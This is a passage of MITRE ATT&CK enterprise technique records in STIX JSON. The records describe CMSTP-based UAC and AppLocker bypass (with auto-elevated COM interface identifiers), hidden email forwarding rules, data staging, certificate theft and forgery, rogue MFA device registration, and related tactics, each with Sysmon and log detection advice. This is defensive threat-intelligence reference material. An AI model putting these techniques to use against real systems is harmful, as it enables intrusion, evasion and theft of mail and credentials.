"Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"}], "modified": "2020-01-31T18:58:17.078Z", "name": "CMSTP", "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Anti-virus"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1188", "external_id": "T1188"}], "modified": "2020-03-14T23:25:20.928Z", "name": "Multi-hop Proxy", "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2023-04-12T20:47:47.583Z", "name": "Email Forwarding Rule", "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Microsoft Security", "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)", "Liran Ravich, CardinalOps"], "x_mitre_deprecated": false, "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Office 365", "Windows", "Google Workspace", "macOS", "Linux"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Command: Command Execution", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "created": "2020-02-19T18:54:47.103Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1114/003", "external_id": "T1114.003"}, {"source_name": "Mac Forwarding Rules", "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.", "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"}, {"source_name": "Pfammatter - Hidden Inbox Rules", "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"}, {"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"}, {"source_name": "Microsoft Mail Flow Rules 2023", "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.", "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"}, {"source_name": "US-CERT TA18-068A 2018", "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian", "Shane Tully, @securitygypsy"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", "created": "2017-05-31T21:30:58.938Z", "x_mitre_version": "1.4", "external_references": [{"source_name": "mitre-attack", "external_id": "T1074", "url": "https://attack.mitre.org/techniques/T1074"}, {"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}, {"source_name": "PWC Cloud Hopper April 2017", "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", "modified": "2022-07-20T20:07:40.167Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Data Staged", "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["File: File Access", "File: File Creation", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-02T19:06:41.828Z", "name": "Steal or Forge Authentication Certificates", "description": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "", "x_mitre_platforms": ["Windows", "Linux", "macOS", "Azure AD"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Tristan Bennett, Seamless Intelligence", "Lee Christensen, SpecterOps", "Thirumalai Natarajan, Mandiant"], "x_mitre_data_sources": ["Command: Command Execution", "Application Log: Application Log Content", "Active Directory: Active Directory Credential Request", "Active Directory: Active Directory Object Modification", "Windows Registry: Windows Registry Key Access", "File: File Access", "Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", "created": "2022-08-03T03:20:58.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1649", "external_id": "T1649"}, {"source_name": "GitHub GhostPack Certificates", "description": "HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022.", "url": "https://github.com/GhostPack/SharpDPAPI#certificates"}, {"source_name": "Microsoft AD CS Overview", "description": "Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.", "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)"}, {"source_name": "Medium Certified Pre Owned", "description": "Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.", "url": "https://posts.specterops.io/certified-pre-owned-d95910965cd2"}, {"source_name": "SpecterOps Certified Pre Owned", "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.", "url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}, {"source_name": "O365 Blog Azure AD Device IDs", "description": "Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.", "url": "https://o365blog.com/post/deviceidentity/"}, {"source_name": "GitHub CertStealer", "description": "TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.", "url": "https://github.com/TheWover/CertStealer"}, {"source_name": "APT29 Deep Look at Credential Roaming", "description": "Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.", "url": "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-03T17:38:39.065Z", "name": "Device Registration", "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Pawel Partyka, Microsoft 365 Defender", "Mike Moran", "Joe Gumke, U.S. Bank", "Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Azure AD", "Windows", "SaaS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Application Log: Application Log Content", "Active Directory: Active Directory Object Creation", "User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215", "created": "2022-03-04T18:30:38.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098/005", "external_id": "T1098.005"}, {"source_name": "CISA MFA PrintNightmare", "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"}, {"source_name": "Mandiant APT29 Microsoft 365 2022", "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}, {"source_name": "AADInternals - Conditional Access Bypass", "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.", "url": "https://o365blog.com/post/mdm"}, {"source_name": "AADInternals - BPRT", "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.", "url": "https://o365blog.com/post/bprt/"}, {"source_name": "AADInternals - Device Registration", "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.", "url": "https://o365blog.com/post/devices/"}, {"source_name": "DarkReading FireEye SolarWinds", "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.", "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack"}, {"source_name": "Microsoft - Device Registration", "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022.", "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"}, {"source_name": "Microsoft DEV-0537", "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-09-06T22:35:34.231Z", "name": "System Network Connections Discovery", "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS", "Network"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.4", "x_mitre_contributors": ["Praetorian", "Austin Clark, @c2defense"], "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Creation", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "created": "2017-05-31T21:30:45.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1049", "external_id": "T1049"}, {"source_name": "Amazon AWS VPC Guide", "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.", "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"}, {"source_name": "Microsoft Azure Virtual Network Overview", "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"}, {"source_name": "Google VPC Overview", "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.", "url": "https://cloud.google.com/vpc/docs/vpc"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-28T03:53:28.299Z", "name": "Compromise Infrastructure", "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)\n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Jeremy Galloway", "Shailesh Tiwary (Indian Army)", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Internet Scan: Response Content", "Domain Name: Domain Registration", "Domain Name: Active DNS", "Domain Name: Passive DNS", "Internet Scan: Response Metadata"], "type": "attack-pattern", "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "created": "2020-10-01T00:36:30.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584", "external_id": "T1584"}, {"source_name": "amnesty_nso_pegasus", "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.", "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"}, {"source_name": "Sysdig Proxyjacking", "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.", "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"}, {"source_name": "FireEye DNS Hijack 2019", "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"}, {"source_name": "ICANNDomainNameHijacking", "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", "url": "https://www.icann.org/groups/ssac/documents/sac-007-en"}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}, {"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": 